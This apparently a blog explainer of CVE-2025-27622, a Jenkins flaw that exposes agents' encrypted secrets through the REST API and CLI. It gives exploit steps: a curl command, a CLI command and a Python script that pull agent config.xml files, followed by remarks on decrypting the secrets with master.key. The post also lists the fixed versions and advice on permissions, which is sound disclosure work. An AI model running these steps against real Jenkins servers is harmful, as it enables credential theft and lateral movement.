CVE-2025-27622 - How a Jenkins REST API Flaw Leaks Agent Secrets (with Exploit Details)

Jenkins is one of the most widely used automation servers for building, deploying, and automating your software projects. If you’re managing a Jenkins instance, especially one with agents (build slaves) attached, you need to know about a newly discovered security issue: CVE-2025-27622. In this post, I’ll explain this vulnerability in plain language, show you a code example of how attackers could exploit it, and give you references for more information.

What Is CVE-2025-27622?

Summary:
In Jenkins version 2.499 and earlier, and Jenkins LTS 2.492.1 and earlier, there’s a problem where *secrets* get exposed if you fetch the config.xml of an agent using the REST API or CLI. Normally, Jenkins tries to hide ("redact") sensitive information like passwords and secret keys. This flaw means attackers with the Agent/Extended Read permission can see these secrets in their encrypted form, which isn’t supposed to happen.

Think of it like this: You lock your house, but you accidentally leave the lock combination taped to your front door. The secrets are “encrypted”, but anyone with a bit of time and the right access could potentially reverse them.

Why Is This a Big Deal?

- Sensitive Information Exposure: Even though secrets are “encrypted”, Jenkins secrets are reversible if you get access to the master’s file system or can download enough data.
- Attackers Can Move Laterally: An attacker with Agent/Extended Read can escalate their privileges or use the secrets in other attacks.

How Does the Flaw Work?

Jenkins stores agent configuration in config.xml files. These files include fields like password or privateKey – usually kept secret. If you use the REST API or CLI to fetch the config, Jenkins should hide the actual value and show something like <b></b>*. But with affected versions, encrypted secrets are shown in their true form — Jenkins’ proprietary encrypted string format.

Example fragment (what you see with the bug)

<password>{AQAAABAAAAAgc3VwZXJzZWNyZXRwYXNzd29yZA==}</password>

Instead of

<password>*</password>

How to Exploit CVE-2025-27622

You need:
- Jenkins user credential with Agent/Extended Read permission

Using the REST API to Fetch Agent Secrets

Here’s an example using curl, Jenkins’ REST API, and your username & API token.

curl -u username:APITOKEN "https://jenkins.example.com/computer/agent-name/config.xml";

Response

<slave>
  ...
  <password>{AQAAABAAAAAgc3VwZXJzZWNyZXRwYXNzd29yZA==}</password>
  ...
</slave>

The same info is available with the CLI

java -jar jenkins-cli.jar -s https://jenkins.example.com/ -auth username:APITOKEN get-node agent-name

You’ll get the same XML with the leaked secrets.

Can Attackers Decrypt the Secrets?

Yes – under certain conditions:
- If an attacker can access the Jenkins master file system, they can use Jenkins’ secrets/master.key and secrets/hudson.util.Secret to decrypt.
- Some open source tools and scripts exist to help with Jenkins secret decryption, such as Jenkins-Decrypt.

Here’s a basic example script that dumps agent secrets

import requests
from requests.auth import HTTPBasicAuth

JENKINS_URL = "https://jenkins.example.com";
AGENT_NAME = "my-agent"
USERNAME = "your-jenkins-user"
API_TOKEN = "your-api-token"

# Download agent config.xml
url = f"{JENKINS_URL}/computer/{AGENT_NAME}/config.xml"
response = requests.get(url, auth=HTTPBasicAuth(USERNAME, API_TOKEN))
if response.status_code == 200:
    with open("config.xml", "w") as f:
        f.write(response.text)
    print("Leaked config.xml downloaded.")
else:
    print(f"Failed: {response.status_code}")

Just search config.xml for fields like <privateKey>, <password>, <secretKey>, etc.

This issue is fixed in Jenkins 2.499.1, LTS 2.492.2 and later.

- Don’t grant Agent/Extended Read to untrusted users

Reference Links

- Jenkins Security Advisory (original)
- Jenkins Project Site
- Jenkins-Decrypt tool
- Jenkins/REST API Docs

Conclusion

CVE-2025-27622 is a textbook example of a dangerous “information exposure” bug.
If you run Jenkins in any environment, especially with agents run by others, update immediately and review your permissions. Always assume that “encrypted” secrets in Jenkins are not totally safe if an attacker can get a copy.

As cloud automation expands, these old vulnerabilities hit harder. Patch early, patch often, protect your CI system!

Timeline

Published on: 03/05/2025 23:15:13 UTC
Last modified on: 03/06/2025 17:15:23 UTC